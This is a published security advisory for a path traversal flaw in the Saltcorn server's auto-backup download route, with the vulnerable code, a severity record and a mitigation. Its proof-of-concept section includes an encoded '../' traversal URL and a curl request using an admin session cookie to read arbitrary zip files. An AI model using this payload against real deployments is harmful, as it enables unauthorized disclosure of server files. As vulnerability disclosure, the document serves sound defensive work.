GHSA-277H-PX4M-62Q8
Vulnerability from github – Published: 2024-10-03 19:46 – Updated: 2024-10-03 19:46Summary
A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.
Details
- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682
router.get(
"/auto-backup-download/:filename",
isAdmin,
error_catcher(async (req, res) => {
const { filename } = req.params; // [1] source
[...]
if (
!isRoot ||
!(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2]
) {
res.redirect("/admin/backup");
return;
}
const auto_backup_directory = getState().getConfig("auto_backup_directory");
res.download(path.join(auto_backup_directory, filename), filename); // [3] sink
})
);
Steps to reproduce (PoC)
- create a file with
.zipextension under/tmpfolder:
echo "secret12345" > /tmp/secret.zip
- log into the application as an admin user
- visit the url
http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip - download the zip file and then check if the zip was indeed downloaded:
cat secret.zip
secret12345
- Alternatively send the following request to retrieve the file just created.
curl -i -X $'GET' \
-H $'Host: localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE' \
$'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'
NOTE:
To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.
Impact
Arbitrary zip files download (information disclosure).
Recommended Mitigation
Resolve the filename parameter before checking if it starts with backup_file_prefix .
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0-beta.13"
},
"package": {
"ecosystem": "npm",
"name": "@saltcorn/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.0-beta.14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-03T19:46:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nA user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to `res.download` API.\n\n### Details\n\n- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682\n\n```js\nrouter.get(\n \"/auto-backup-download/:filename\",\n isAdmin,\n error_catcher(async (req, res) =\u003e {\n const { filename } = req.params; // [1] source\n [...]\n if (\n !isRoot ||\n !(filename.startsWith(backup_file_prefix) \u0026\u0026 filename.endsWith(\".zip\")) // [2]\n ) {\n res.redirect(\"/admin/backup\");\n return;\n }\n const auto_backup_directory = getState().getConfig(\"auto_backup_directory\");\n res.download(path.join(auto_backup_directory, filename), filename); // [3] sink\n })\n);\n```\n\n### Steps to reproduce (PoC)\n\n- create a file with `.zip` extension under `/tmp` folder:\n```\necho \"secret12345\" \u003e /tmp/secret.zip\n```\n- log into the application as an admin user\n- visit the url `http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip`\n- download the zip file and then check if the zip was indeed downloaded:\n```bash\ncat secret.zip\nsecret12345\n```\n\n \n- Alternatively send the following request to retrieve the file just created.\n```bash\ncurl -i -X $\u0027GET\u0027 \\\n -H $\u0027Host: localhost:3000\u0027 \\\n -H $\u0027Connection: close\u0027 \\\n -b $\u0027connect.sid=VALID_CONNECT_SID_COOKIE\u0027 \\\n $\u0027http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip\u0027\n```\n\n**NOTE**:\nTo obtain a valid `connect.sid` cookie, just open the developer console while logged and retrieve the cookie value.\n\n### Impact\n\nArbitrary zip files download (information disclosure).\n\n### Recommended Mitigation\n\nResolve the `filename` parameter before checking if it starts with `backup_file_prefix` .",
"id": "GHSA-277h-px4m-62q8",
"modified": "2024-10-03T19:46:12Z",
"published": "2024-10-03T19:46:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-277h-px4m-62q8"
},
{
"type": "WEB",
"url": "https://github.com/saltcorn/saltcorn/commit/024f19a7e079913f62f4a2335ab04116ddb68192"
},
{
"type": "PACKAGE",
"url": "https://github.com/saltcorn/saltcorn"
},
{
"type": "WEB",
"url": "https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "@saltcorn/server arbitrary file zip read and download when downloading auto backups"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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